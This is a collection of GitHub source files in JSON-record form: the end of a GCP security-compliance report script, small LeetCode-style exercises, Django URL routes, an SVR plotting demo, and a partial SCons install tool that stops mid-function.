jmespath.search(\"auditConfigs[?service == 'allServices']\", iam)\n    if len(allservice) > 0 and len(allservice[0])==3:\n      iam[\"hasAllServices\"]=True\n\n# check iam violations\nif iam[\"totalAuditConfig\"]==0:\n  c2d1[\"violation\"]=True\n  project[\"violations\"] += 1\nelif not iam[\"hasAllServices\"]:\n  c2d1[\"violation\"]=True\n  c2d1[\"message\"]=\"No audit settings found for this project. Please set it explicitly\"\n\nif \"bindings\" in iam:\n  project[\"roles\"] = len(iam[\"bindings\"])\n  members=jmespath.search(\"bindings[].members[]\", iam)\n  members=list(set(members))\n  project[\"iam\"] = len(members)\n  sas=jmespath.search(\"[?starts_with(@, `serviceAccount:`)]\", members)\n  project[\"sas\"] = len(sas)\n  owner= jmespath.search(\"bindings[?role==`roles/owner` && members[?starts_with(@,`serviceAccount:`)]]\", iam)\n\n# check owner role violations\n  if len(owner)>0:\n      c1d12[\"violation\"]=True\n      c1d12[\"offendings\"]=[]\n      for onrs in owner:\n        for onr in onrs[\"members\"]:\n          if onr.startswith('serviceAccount:'):\n             project[\"violations\"] += 1\n             c1d12[\"offendings\"].append(onr)\n\n# check kms violations\nkmsfile=os.path.join(report_path,'project-kms')\nif os.path.isfile(kmsfile):\n  with open(kmsfile) as fp:\n    kstart=True\n    for line in fp:\n      line = re.sub('[\\n\"]','',line)\n      if kstart:\n        project[\"kms\"] += 1\n        kms=line\n        kstart=False\n      else:\n          if line==\"null\":\n              c2d8[\"violation\"]=True\n              project[\"violations\"] += 1\n              c2d8[\"offendings\"].append(kms)\n          else:\n              line = re.sub('s', '', line)\n              period = int(line) / 24/ 60 /60\n              if period > 90:\n                    c2d8[\"violation\"]=True\n                    project[\"violations\"] += 1\n                    c2d8[\"offendings\"].append(kms)\n          kstart=True\n\n# read in network information\nnwpath=os.path.join(report_path,'project-network')\nf=open(nwpath)\nnetwork = json.loads(f.read())\nf.close()\nsubspath=os.path.join(report_path,'project-subnets')\nf=open(subspath)\nsubnets = json.loads(f.read())\nf.close()\n\n# init network summaries\ndt = datetime.now()\ndtstr = dt.isoformat(' ')\nproject[\"vpcs\"] = len(network)\nproject[\"subnets\"] = len(subnets)\n\nnoflowflag= jmespath.search(\"[?!enableFlowLogs]\", subnets)\n\n# check vpc violation\nc4d3[\"violation\"] = len(noflowflag) > 0\nproject[\"violations\"] += len(noflowflag)\nfor sbn in noflowflag:\n   c4d3[\"offendings\"].append({\"name\":sbn[\"name\"], \"vpc\":sbn[\"network\"], \"region\": sbn[\"region\"]})\n\n# read firewall information\nfwrpath=os.path.join(report_path,'project-firewall-rules')\nf=open(fwrpath)\nfirewallrs = json.loads(f.read())\nf.close()\n\ndef arr_in_range (arr, num):\n   \"\"\"\n   this is a utility for testing port range array contains port number\n   \"\"\"\n   return any([in_range(s, num) for s in arr])\n\ndef in_range(rg, num):\n   \"\"\"\n   this is a utility for testing port range contains port number\n   \"\"\"\n   if rg.isdigit():\n      return int(rg) == num\n   sar = rg.split('-')\n   if len(sar)!=2:\n      return False\n   if not sar[0].isdigit() or int(sar[0]) > num:\n      return False\n   if not sar[1].isdigit() or int(sar[1]) < num:\n      return False\n   return True\n\n# check firewall violations\nproject[\"fwr\"] = len(firewallrs)\nfor rule in firewallrs:\n    if any([s.startswith('0.0.0.0') for s in rule[\"sourceRanges\"]]):\n        for ald in rule[\"allowed\"]:\n            if ald[\"IPProtocol\"] == 'tcp' and arr_in_range(ald[\"ports\"],22):\n                c4d1[\"violation\"]=True\n                c4d1[\"offendings\"].append(rule)\n                project[\"violations\"] += 1\n            if ald[\"IPProtocol\"] == 'tcp' and arr_in_range(ald[\"ports\"],3389):\n                c4d2[\"violation\"]=True\n                c4d2[\"offendings\"].append(rule)\n                project[\"violations\"] += 1\n            if ald[\"IPProtocol\"] == 'ssh':\n                c4d1[\"violation\"]=True\n                c4d1[\"offendings\"].append(rule)\n                project[\"violations\"] += 1\n            if ald[\"IPProtocol\"] == 'rdp':\n                c4d2[\"violation\"]=True\n                c4d2[\"offendings\"].append(rule)\n                project[\"violations\"] += 1\n\n# check peer violations\npeers=jmespath.search(\"[?peerings]\", network)\nc4d5={}\nc4d5[\"warning\"]=len(peers) > 0\nc4d5[\"offendings\"]=[]\n\nfor pr in peers:\n    project[\"warnings\"] += len(pr[\"peerings\"])\n    project[\"peers\"] += len(pr[\"peerings\"])\n    for p in pr[\"peerings\"]:\n      c4d5[\"offendings\"].append({\"vpc\": pr[\"name\"], \"state\": p[\"state\"], \"network\":p[\"network\"]})\n\ndef do_offending():\n  \"\"\"\n  print out html of each benchmark\n  \"\"\"\n  print (\"\"\"<tr><td colspan=\"20\"><table><thead><tr><th colspan=\"2\">SMX Benchmark</th><th>Level</th><th>VPC</th><th>Findings</th></tr></thead>\"\"\")\n  if c1d12[\"violation\"]:\n      for v in c1d12[\"offendings\"]:\n          print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td nowrap>{}</td><td>{}</td></tr>\"\"\".format(\"SMX-1.12\", \"Alert\", \"ALL\", \"Service account {} has an owner role\".format(v)))\n\n\n  if c2d1[\"violation\"]:\n      print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td nowrap>{}</td><td>{}</td></tr>\"\"\".format(\"SMX-2.1\",\n        \"Alert\",\"ALL\", \"No log audit settings found for this project. Please set it explicitely globally using 'allServices'\"))\n\n  if c2d8[\"violation\"]:\n     for k in c2d8[\"offendings\"]:\n       vio = \"Cryptographic key {} does not have a rotation schedule or schedule period is longer that 90 days.\".format(k)\n       print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\"SMX-2.8\", \"Alert\", \"ALL\", vio))\n\n  if c4d1[\"violation\"]:\n     for k in c4d1[\"offendings\"]:\n         print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td>{}</td><td>Wide open SSH:<br/>{}</td></tr>\"\"\".format(\"SMX-4.1\", \"Alert\", os.path.basename(k[\"network\"]), json.dumps(k)))\n\n  if c4d2[\"violation\"]:\n      for k in c4d2[\"offendings\"]:\n          print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td>{}</td><td>Wide open RDP:<br/>{}</td></tr>\"\"\".format(\"SMX-4.2\", \"Alert\", os.path.basename(k[\"network\"]), json.dumps(k)))\n\n  if c4d3[\"violation\"]:\n      for k in c4d3[\"offendings\"]:\n          print (\"\"\"<tr><th style='background-color:#ef3d47'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td>{}</td><td>Subnet flow log need to be turn on for subnet '{}' in region '{}'.</td></tr>\"\"\".format(\"SMX-4.3\", \"Alert\", os.path.basename(k[\"vpc\"]), k[\"name\"], os.path.basename(k[\"region\"])))\n\n\n  if c4d5[\"warning\"]:\n      for k in c4d5[\"offendings\"]:\n          print (\"\"\"<tr><th style='background-color:orange'>&nbsp;</th><td><b>{}</b></td><td nowrap>{}</td><td>{}</td><td>Network Contains {} peered VPCs. Peer network security need to be checked to ensure security.<br/></td></tr>\"\"\".format(\"SMX-4.5\", \"Warning\", k[\"vpc\"], json.dumps(k)))\n\n\ndef do_summary():\n  \"\"\"\n  print out html summary\n  \"\"\"\n  html=\"\"\"\n      <thead>\n         <tr>\n            <th colspan='2' rowspan='3'>Scan Summary For Project: {}</th>\n            <th colspan='1'>IAM Principals: {}</th>\n\t\t\t<th colspan='1'>Service Accounts: {}</th>\n            <th colspan='1'>Cypher Keys: {}, Peer VPC: {}</th>\n         </tr>\n         <tr>\n            <th colspan='1'>VPCs: {}</th>\n            <th colspan='1'>Subnets: {}</th>\n            <th colspan='1'>Firewall Rules: {}</th>\n         </tr>\n    \t <tr>\n            <th colspan='1'>Violations: {}</th>\n            <th colspan='1'>Warnings: {}</th>\n            <th colspan='1'>Report Date: {}</th>\n         </tr>\n      </thead>\n  \"\"\".format(project[\"name\"], project[\"iam\"],project[\"sas\"],project[\"kms\"], project[\"peers\"], project[\"vpcs\"],project[\"subnets\"], project[\"fwr\"], project[\"violations\"], project[\"warnings\"], dtstr)\n  print(html)\n\n# this is the main - print out everything\nprint (\"<table>\")\ndo_summary()\ndo_offending()\nprint (\"</table></div></body></html>\")\n","repo_name":"abdullah-farooq/smx-cis-git","sub_path":"cis_report.py","file_name":"cis_report.py","file_ext":"py","file_size_in_byte":9727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"16480726965","text":"# Given a signed 32-bit integer x, return x with its digits reversed. \n# If reversing x causes the value to go outside the signed 32-bit integer range [-231, 231 - 1], \n#then return 0.\n#Assume the environment does not allow you to store 64-bit integers (signed or unsigned).\nfrom typing import List\nclass Solution:\n    def reverse(self, x: int) -> int:\n        # check if the integer is negative or positive\n        sign = 1\n        if x < 0:\n            sign = -1\n            x = abs(x)\n        \n        # reverse the integer\n        rev = 0\n        while x > 0:\n            rev = rev * 10 + x % 10\n            x = x // 10\n        \n        # check if the result is within the signed 32-bit integer range\n        if rev > (2 ** 31 - 1):\n            return 0\n        \n        # return the result with the appropriate sign\n        return sign * rev\n#This implementation first checks if the given integer is negative or positive, \n#then reverses the digits of the integer by repeatedly taking the last digit of the integer and \n# adding it to the result variable while removing the last digit from the integer. \n# Finally, it checks if the result is within the signed 32-bit integer range and returns it \n# with the appropriate sign.","repo_name":"Kunals2021/LeetcodeEasy","sub_path":"LeetEasyStr2.py","file_name":"LeetEasyStr2.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"10183905098","text":"from django.urls import path, include\nfrom .views import *\nfrom rest_framework.routers import DefaultRouter\n\nr = DefaultRouter()\n\nr.register('product', ProductAPI)\n\nurlpatterns = [\n    path('categories/', CategoryListCreateAPIView.as_view()),\n    path('categories/<int:pk>/', CategoryDestroyAPIView.as_view()),\n    path('tag/', TagListCreateAPIView.as_view()),\n    path('tag/<int:pk>/', TagDestroyAPIView.as_view()),\n    path('', include(r.urls)),\n    path('export-excel/', ExcelExportView.as_view()),\n]","repo_name":"toraltai/RetMind_tz","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"39018849093","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 22 15:57:07 2020\r\n\r\n@author: STSC\r\n\"\"\"\r\n\r\n#replace space with '%20\r\n\r\ndef rep(word):\r\n    space_count = 0\r\n    word = word.strip()\r\n    truelength = len(word)\r\n    \r\n    for i in range(truelength-1):\r\n        \r\n        if word[i] ==' ':\r\n            \r\n            space_count +=1\r\n        index = truelength + space_count*2\r\n    \r\n    word = list(word) \r\n    for f in range(truelength - 2, index - 2):\r\n        word.append('0')\r\n       \r\n    for i in range(truelength-1,-1,-1):\r\n        \r\n        if word[i] ==' ':\r\n            word[index-1] = \"0\"\r\n            word[index-2] = \"2\"\r\n            word[index-3] = \"%\"\r\n            index -=3\r\n        else:\r\n            word[index-1] = word[i]\r\n            index -=1\r\n    return ''.join(word)\r\n\r\nif __name__=='__main__': \r\n    \r\n    ans =rep(\"Mr John Smith \")\r\n    print(ans)\r\n\r\n","repo_name":"Gayatr12/Data_Structures","sub_path":"URLify q3array.py","file_name":"URLify q3array.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"17978580905","text":"# 导入操作系统库\nimport os\n# 更改工作目录\nos.chdir(r\"D:\\softwares\\applied statistics\\pythoncodelearning\\chap3\\sourcecode\")\n# 导入基础计算库\nimport numpy as np\n# 导入绘图库\nimport matplotlib.pyplot as plt\n# 导入支持向量机模型\nfrom sklearn.svm import SVR\n# 导入绘图库中的字体管理包\nfrom matplotlib import font_manager\n# 实现中文字符正常显示\nfont = font_manager.FontProperties(fname=r\"C:\\Windows\\Fonts\\SimKai.ttf\")\n# 使用seaborn风格绘图\nplt.style.use(\"seaborn-v0_8\")\n# 生成样本\nX = np.sort(5 * np.random.rand(40, 1), axis=0)\ny = np.sin(X).ravel()\n# 添加噪声\ny[::5] += 3 * (0.5 - np.random.rand(8))\n# rbf核函数的SVR\nsvr_rbf = SVR(kernel=\"rbf\", C=100, gamma=0.1, epsilon=0.1)\n# 线性核函数的SVR\nsvr_lin = SVR(kernel=\"linear\", C=100, gamma=\"auto\")\n# 多项式核函数的SVR\nsvr_poly = SVR(kernel=\"poly\", C=100, gamma=\"auto\", degree=3, epsilon=0.1, coef0=1)\nlw = 2\n# 构造迭代对象列表\nsvrs = [svr_rbf, svr_lin, svr_poly]\nkernel_label = [\"RBF\", \"Linear\", \"Polynomial\"]\nmodel_color = [\"m\", \"c\", \"g\"]\n# 开始绘图\nfig, axes = plt.subplots(nrows=1, ncols=3, figsize=(15, 10), sharey=True)\nfor ix, svr in enumerate(svrs):\n    axes[ix].plot(\n        X,\n        svr.fit(X, y).predict(X),\n        color=model_color[ix],\n        lw=lw,\n        label=\"{} model\".format(kernel_label[ix]),\n    )\n    axes[ix].scatter(\n        X[svr.support_],\n        y[svr.support_],\n        facecolor=\"none\",\n        edgecolor=model_color[ix],\n        s=50,\n        label=\"{} support vectors\".format(kernel_label[ix]),\n    )\n    axes[ix].scatter(\n        X[np.setdiff1d(np.arange(len(X)), svr.support_)],\n        y[np.setdiff1d(np.arange(len(X)), svr.support_)],\n        facecolor=\"none\",\n        edgecolor=\"k\",\n        s=50,\n        label=\"other training data\",\n    )\n    axes[ix].legend(\n        loc=\"upper center\",\n        bbox_to_anchor=(0.5, 1.1),\n        ncol=1,\n        fancybox=True,\n        shadow=True,\n    )\n\nfig.text(0.5, 0.04, \"data\", ha=\"center\", va=\"center\")\nfig.text(0.06, 0.5, \"target\", ha=\"center\", va=\"center\", rotation=\"vertical\")\nfig.suptitle(\"Support Vector Regression\", fontsize=14)\nplt.show()\nfig.savefig(\"../codeimage/code5.pdf\")\n","repo_name":"AndyLiu-art/MLPythonCode","sub_path":"chap3/sourcecode/Python5.py","file_name":"Python5.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"36858644499","text":"from collections import defaultdict, namedtuple\nfrom typing import List\n\nimport SCons\nfrom SCons.Tool import install\n\nALIAS_MAP = \"AIB_ALIAS_MAP\"\nBASE_COMPONENT = \"AIB_BASE_COMPONENT\"\nBASE_ROLE = \"AIB_BASE_ROLE\"\nCOMPONENT = \"AIB_COMPONENT\"\nREVERSE_COMPONENT_DEPENDENCIES = \"AIB_COMPONENTS_EXTRA\"\nDEFAULT_COMPONENT = \"AIB_DEFAULT_COMPONENT\"\nINSTALLED_FILES = \"AIB_INSTALLED_FILES\"\nMETA_COMPONENT = \"AIB_META_COMPONENT\"\nMETA_ROLE = \"AIB_META_ROLE\"\nROLE = \"AIB_ROLE\"\nROLE_DECLARATIONS = \"AIB_ROLE_DECLARATIONS\"\nSUFFIX_MAP = \"AIB_SUFFIX_MAP\"\nTASKS = \"AIB_TASKS\"\n\nSuffixMap = namedtuple(\n    \"SuffixMap\",\n    [\"directory\", \"default_role\"],\n)\n\n\nclass RoleInfo:\n    \"\"\"A component/role union Node.\"\"\"\n\n    def __init__(self, component, role, files=None, dependencies=None):\n        self.id = \"{}-{}\".format(component, role)\n        self.component = component\n        self.role = role\n        if files is None:\n            self.files = set()\n        else:\n            self.files = set(files)\n\n        if dependencies is None:\n            self.dependencies = set()\n        else:\n            self.dependencies = set(dependencies)\n\n    def __str__(self):\n        return \"RoleInfo({})\".format(self.id)\n\n    def __repr__(self):\n        return self.__str__()\n\n\nclass DeclaredRole:\n    def __init__(self, name, dependencies=None, transitive=False, silent=False):\n        self.name = name\n\n        if dependencies is None:\n            self.dependencies = set()\n        else:\n            self.dependencies = {dep for dep in dependencies if dep is not None}\n\n        self.silent = silent\n\n\ndef declare_role(env, **kwargs):\n    \"\"\"Construct a new role declaration\"\"\"\n    return DeclaredRole(**kwargs)\n\n\ndef declare_roles(env, roles, base_role=None, meta_role=None):\n    \"\"\"Given a list of role declarations, validate them and store them in the environment\"\"\"\n    role_names = [role.name for role in roles]\n    if len(role_names) != len(set(role_names)):\n        raise Exception(\"Cannot declare duplicate roles\")\n\n    # Ensure that all roles named in dependency lists actually were\n    # passed in as a role.\n    for role in roles:\n        for d in role.dependencies:\n            if d not in role_names:\n                raise Exception(\"Role dependency '{}' does not name a declared role\".format(d))\n\n    if isinstance(base_role, str):\n        if base_role not in role_names:\n            raise Exception(\n                \"A base_role argument was provided but it does not name a declared role\")\n    elif isinstance(base_role, DeclaredRole):\n        if base_role not in roles:\n            raise Exception(\"A base_role argument was provided but it is not a declared role\")\n    elif base_role is not None:\n        raise Exception(\"The base_role argument must be a string name of a role or a role object\")\n    else:\n        # Set it to something falsey\n        base_role = str()\n\n    if isinstance(meta_role, str):\n        if meta_role not in role_names:\n            raise Exception(\n                \"A meta_role argument was provided but it does not name a declared role\")\n    elif isinstance(meta_role, DeclaredRole):\n        if meta_role not in roles:\n            raise Exception(\"A meta_role argument was provided but it is not a declared role\")\n    elif meta_role is not None:\n        raise Exception(\"The meta_role argument must be a string name of a role or a role object\")\n    else:\n        # Set it to something falsy\n        meta_role = str()\n\n    silents = [role for role in roles if role.silent]\n    if len(silents) > 1:\n        raise Exception(\"No more than one role can be declared as silent\")\n\n    # If a base role was given, then add it as a dependency of every\n    # role that isn't the base role (which would be circular).\n    if base_role:\n        for role in roles:\n            if role.name != base_role:\n                role.dependencies.add(base_role)\n\n    # Become a dictionary, so we can look up roles easily.\n    roles = {role.name: role for role in roles}\n\n    # If a meta role was given, then add every role which isn't the\n    # meta role as one of its dependencies.\n    if meta_role:\n        roles[meta_role].dependencies.update(r for r in roles.keys() if r != meta_role)\n\n    # TODO: Check for DAG\n\n    # TODO: What if base_role or meta_role is really None?\n    env[BASE_ROLE] = base_role\n    env[META_ROLE] = meta_role\n    env[ROLE_DECLARATIONS] = roles\n\n\ndef generate_alias_name(env, component, role, task):\n    \"\"\"Generate a scons alias for the component and role combination\"\"\"\n    return \"{task}-{component}{role}\".format(\n        task=task,\n        component=component,\n        role=\"\" if env[ROLE_DECLARATIONS][role].silent else \"-\" + role,\n    )\n\n\ndef get_alias_map_entry(env, component, role):\n    c_entry = env[ALIAS_MAP][component]\n\n    try:\n        return c_entry[role]\n    except KeyError:\n        r_entry = RoleInfo(component=component, role=role)\n        c_entry[role] = r_entry\n\n        declaration = env[ROLE_DECLARATIONS].get(role)\n        for dep in declaration.dependencies:\n            dep_entry = get_alias_map_entry(env, component, dep)\n            r_entry.dependencies.add(dep_entry)\n\n        meta_component = env.get(META_COMPONENT)\n        if meta_component and component != meta_component:\n            meta_c_entry = get_alias_map_entry(env, meta_component, role)\n            meta_c_entry.dependencies.add(r_entry)\n\n        base_component = env.get(BASE_COMPONENT)\n        if base_component and component != base_component:\n            base_c_entry = get_alias_map_entry(env, base_component, role)\n            r_entry.dependencies.add(base_c_entry)\n\n        meta_role = env.get(META_ROLE)\n        if (meta_role and role != meta_role and meta_component and component != meta_component):\n            meta_r_entry = get_alias_map_entry(env, component, meta_role)\n            meta_c_r_entry = get_alias_map_entry(env, meta_component, meta_role)\n            meta_c_r_entry.dependencies.add(meta_r_entry)\n\n        return r_entry\n\n\ndef get_component(node):\n    return getattr(node.attributes, COMPONENT, None)\n\n\ndef get_role(node):\n    return getattr(node.attributes, ROLE, None)\n\n\ndef scan_for_transitive_install(node, env, _path):\n    \"\"\"Walk the children of node finding all installed dependencies of it.\"\"\"\n    component = get_component(node.sources[0])\n    role = get_role(node.sources[0])\n    if component is None:\n        return []\n\n    scanned = getattr(node.attributes, \"AIB_SCANNED\", None)\n    if scanned is not None:\n        return scanned\n\n    # Access directly by keys because we don't want to accidentally\n    # create a new entry via get_alias_map_entry and instead should\n    # throw a KeyError if we got here without valid components and\n    # roles\n    alias_map = env[ALIAS_MAP]\n    entry = alias_map[component][role]\n    role_deps = env[ROLE_DECLARATIONS].get(role).dependencies\n    results = set()\n\n    # We have to explicitly look at the various BASE files here since it's not\n    # guaranteed they'll be pulled in anywhere in our grandchildren but we need\n    # to always depend upon them. For example if env.AutoInstall some file 'foo'\n    # tagged as common base but it's never used as a source for the\n    # AutoInstalled file we're looking at or the children of our children (and\n    # so on) then 'foo' would never get scanned in here without this explicit\n    # dependency adding.\n    base_component = env.get(BASE_COMPONENT)\n    if base_component and component != base_component:\n        base_role_entry = alias_map[base_component][role]\n        if base_role_entry.files:\n            results.update(base_role_entry.files)\n\n    base_role = env.get(BASE_ROLE)\n    if base_role and role != base_role:\n        component_base_entry = alias_map[component][base_role]\n        if component_base_entry.files:\n            results.update(component_base_entry.files)\n\n    if (base_role and base_component and component != base_component and role != base_role):\n        base_base_entry = alias_map[base_component][base_role]\n        if base_base_entry.files:\n            results.update(base_base_entry.files)\n\n    installed_children = set(grandchild for child in node.children()\n                             for direct_children in child.children()\n                             for grandchild in direct_children.get_executor().get_all_targets()\n                             if direct_children.get_executor() and grandchild.has_builder())\n\n    for child in installed_children:\n        auto_installed_files = get_auto_installed_files(env, child)\n        if not auto_installed_files:\n            continue\n\n        child_role = get_role(child)\n        if child_role == role or child_role in role_deps:\n            child_component = get_component(child)\n            child_entry = get_alias_map_entry(env, child_component, child_role)\n\n            # This is where component inheritance happens. We need a default\n            # component for everything so we can store it but if during\n            # transitive scanning we see a child with the default component here\n            # we will move that file to our component. This prevents\n            # over-stepping the DAG bounds since the default component is likely\n            # to be large and an explicitly tagged file is unlikely to depend on\n            # everything in it.\n            if child_component == env.get(DEFAULT_COMPONENT):\n                setattr(node.attributes, COMPONENT, component)\n                for f in auto_installed_files:\n                    child_entry.files.discard(f)\n                entry.files.update(auto_installed_files)\n            elif component != child_component:\n                entry.dependencies.add(child_entry)\n\n            results.update(auto_installed_files)\n\n    # Produce deterministic output for caching purposes\n    results = sorted(results, key=str)\n    setattr(node.attributes, \"AIB_SCANNED\", results)\n\n    return results\n\n\ndef scan_for_transitive_install_pseudobuilder(env, node):\n    return scan_for_transitive_install(node, env, None)\n\n\ndef tag_components(env, target, **kwargs):\n    \"\"\"Create component and role dependency objects\"\"\"\n    target = env.Flatten([target])\n    component = kwargs.get(COMPONENT)\n    role = kwargs.get(ROLE)\n    if component is not None and (not isinstance(component, str) or \" \" in component):\n        raise Exception(\"AIB_COMPONENT must be a string and contain no whitespace.\")\n\n    if component is None:\n        raise Exception(\"AIB_COMPONENT must be provided; untagged targets: {}\".format(\n            [t.path for t in target]))\n\n    if role is None:\n        raise Exception(\"AIB_ROLE was not provided.\")\n\n    for t in target:\n        t.attributes.keep_targetinfo = 1\n        setattr(t.attributes, COMPONENT, component)\n        setattr(t.attributes, ROLE, role)\n\n    entry = get_alias_map_entry(env, component, role)\n\n    # We cannot wire back dependencies to any combination of meta role, meta\n    # component or base component. These cause dependency cycles because\n    # get_alias_map_entry will do that wiring for us then we will try to\n    # map them back on themselves in our loop.\n    if (component != env.get(BASE_COMPONENT) and role != env.get(META_ROLE)\n            and component != env.get(META_COMPONENT)):\n        for component in kwargs.get(REVERSE_COMPONENT_DEPENDENCIES, []):\n            component_dep = get_alias_map_entry(env, component, role)\n            component_dep.dependencies.add(entry)\n\n    return entry\n\n\ndef auto_install_task(env, component, role):\n    \"\"\"Auto install task.\"\"\"\n    entry = get_alias_map_entry(env, component, role)\n    return list(entry.files)\n\n\ndef auto_install_pseudobuilder(env, target, source, **kwargs):\n    \"\"\"Auto install pseudo-builder.\"\"\"\n    source = env.Flatten([source])\n    source = [env.File(s) for s in source]\n    entry = env.TagComponents(source, **kwargs)\n\n    installed_files = []\n    for s in source:\n\n        target_for_source = target\n\n        if not target_for_source:\n\n            # AIB currently uses file suffixes to do mapping. However, sometimes we need\n            # to do the mapping based on a different suffix. This is used for things like\n            # dSYM files, where we really just want to describe where .dSYM bundles should\n            # be placed, but need to actually handle the substructure. Currently, this is\n            # only used by separate_debug.py.\n            #\n            # TODO: Find a way to do this without the tools needing to coordinate.\n            suffix = getattr(s.attributes, \"aib_effective_suffix\", s.get_suffix())\n            auto_install_mapping = env[SUFFIX_MAP].get(suffix)\n\n            if not auto_install_mapping:\n                raise Exception(\"No target provided and no auto install mapping found for:\", str(s))\n\n            target_for_source = auto_install_mapping.directory\n\n        # We've already auto installed this file and it may have belonged to a\n        # different role since it wouldn't get retagged above. So we just skip\n        # this files since SCons will already wire the dependency since s is a\n        # source and so the file will get installed. A common error here is\n        # adding debug files to the runtime component file if we do not skip\n        # this.\n        existing_installed_files = get_auto_installed_files(env, s)\n        if existing_installed_files:\n            continue\n\n        # We must do an early subst here so that the _aib_debugdir\n        # generator has a chance to run while seeing 'source'. We need\n        # to do two substs here.  The first is to expand an variables\n        # in `target_for_source` while we can see `source`. This is\n        # needed for things like _aib_debugdir. Then, we need to do a\n        # second subst to expand DESTDIR, interpolating\n        # `target_for_source` in as $TARGET. Yes, this is confusing.\n        target_for_source = env.subst(target_for_source, source=s)\n        target_for_source = env.Dir(env.subst('$DESTDIR/$TARGET', target=target_for_source))\n\n        aib_additional_directory = getattr(s.attributes, \"aib_additional_directory\", None)\n        if aib_additional_directory is not None:\n            target_for_source = env.Dir(aib_additional_directory, directory=target_for_source)\n\n        new_installed_files = env.Install(target=target_for_source, source=s)\n        setattr(s.attributes, INSTALLED_FILES, new_installed_files)\n        setattr(new_installed_files[0].attributes, 'AIB_INSTALL_FROM', s)\n        installed_files.extend(new_installed_files)\n\n    entry.files.update(installed_files)\n    return installed_files\n\n\ndef finalize_install_dependencies(env):\n    \"\"\"Generates task aliases and wires install dependencies.\"\"\"\n\n    # Wire up component dependencies and generate task aliases\n    for task, func in env[TASKS].items():\n        generate_dependent_aliases = True\n\n        # The task map is a map of string task names (i.e. \"install\" by default)\n        # to either a tuple or function. If it's a function we assume that we\n        # generate dependent aliases for that task, otherwise if it's a tuple we\n        # deconstruct it here to get the function (the first element) and a\n        # boolean indicating whether or not to generate dependent aliases for\n        # that task. For example the \"archive\" task added by the auto_archive\n        # tool disables them because tarballs do not track dependencies so you\n        # do not want archive-foo to build archive-bar as well if foo depends on\n        # bar.\n        if isinstance(func, tuple):\n            func, generate_dependent_aliases = func\n\n        for component, rolemap in env[ALIAS_MAP].items():\n            for role, info in rolemap.items():\n                alias_name = generate_alias_name(env, component, role, task)\n                alias = env.Alias(alias_name, func(env, component, role))\n                if generate_dependent_aliases:\n                    dependent_aliases = env.Flatten([\n                        env.Alias(generate_alias_name(env, d.component, d.role, task))\n                        for d in info.dependencies\n                    ])\n                    env.Alias(alias, dependent_aliases)\n\n\ndef auto_install_emitter(target, source, env):\n    \"\"\"When attached to a builder adds an appropriate AutoInstall to that Builder.\"\"\"\n\n    for t in target:\n        if isinstance(t, str):\n            t = env.File(t)\n\n        if env.get(\"AIB_IGNORE\", False):\n            continue\n\n        # There is no API for determining if an Entry is operating in\n        # a SConf context. We obviously do not want to auto tag, and\n        # install conftest Programs. So we filter them out the only\n        # way available to us.\n        #\n        # We're working with upstream to expose this information.\n        if \"conftest\" in str(t):\n            continue\n\n        # Get the suffix, unless overridden\n        suffix = getattr(t.attributes, \"aib_effective_suffix\", t.get_suffix())\n        auto_install_mapping = env[SUFFIX_MAP].get(suffix)\n\n        if auto_install_mapping is not None:\n            env.AutoInstall(\n                auto_install_mapping.directory,\n                t,\n                AIB_COMPONENT=env.get(COMPONENT, env.get(DEFAULT_COMPONENT, None)),\n                AIB_ROLE=env.get(ROLE, auto_install_mapping.default_role),\n                AIB_COMPONENTS_EXTRA=env.get(REVERSE_COMPONENT_DEPENDENCIES, []),\n            )\n\n    return (target, source)\n\n\ndef add_suffix_mapping(env, suffix, role=None):\n    \"\"\"Map suffix to role\"\"\"\n    if isinstance(suffix, str):\n        if role not in env[ROLE_DECLARATIONS]:\n            raise Exception(\"target {} is not a known role available roles are {}\".format(\n                role, env[ROLE_DECLARATIONS].keys()))\n        env[SUFFIX_MAP][env.subst(suffix)] = role\n\n    if not isinstance(suffix, dict):\n        raise Exception(\"source must be a dictionary or a string\")\n\n    for _, mapping in suffix.items():\n        role = mapping.default_role\n        if role not in env[ROLE_DECLARATIONS]:\n            raise Exception(\"target {} is not a known role. Available roles are {}\".format(\n                target, env[ROLE_DECLARATIONS].keys()))\n\n    env[SUFFIX_MAP].update({env.subst(key): value for key, value in suffix.items()})\n\n\ndef suffix_mapping(env, directory=\"\", default_role=False):\n    \"\"\"Generate a SuffixMap object from source and target.\"\"\"\n    return SuffixMap(directory=directory, default_role=default_role)\n\n\ndef get_auto_installed_files(env, node):\n    return getattr(node.attributes, INSTALLED_FILES, [])\n\n\ndef list_components(env, **kwargs):\n    \"\"\"List registered components for env.\"\"\"\n    print(\"Known AIB components:\")\n    for key in env[ALIAS_MAP]:\n        print(\"\\t\", key)\n\n\ndef list_hierarchical_aib_recursive(mapping, counter=0):\n    if counter == 0:\n        print(\"  \" * counter, mapping.id)\n    counter += 1\n    for dep in mapping.dependencies:\n        print(\"  \" * counter, dep.id)\n        list_hierarchical_aib_targets(dep, counter=counter)\n\n\ndef list_hierarchical_aib_targets(dag_mode=False):\n    def target_lister(env, **kwargs):\n        if dag_mode:\n            installed_files = set(env.FindInstalledFiles())\n            for f in installed_files:\n                scan_for_transitive_install(f, env, None)\n\n        mapping = 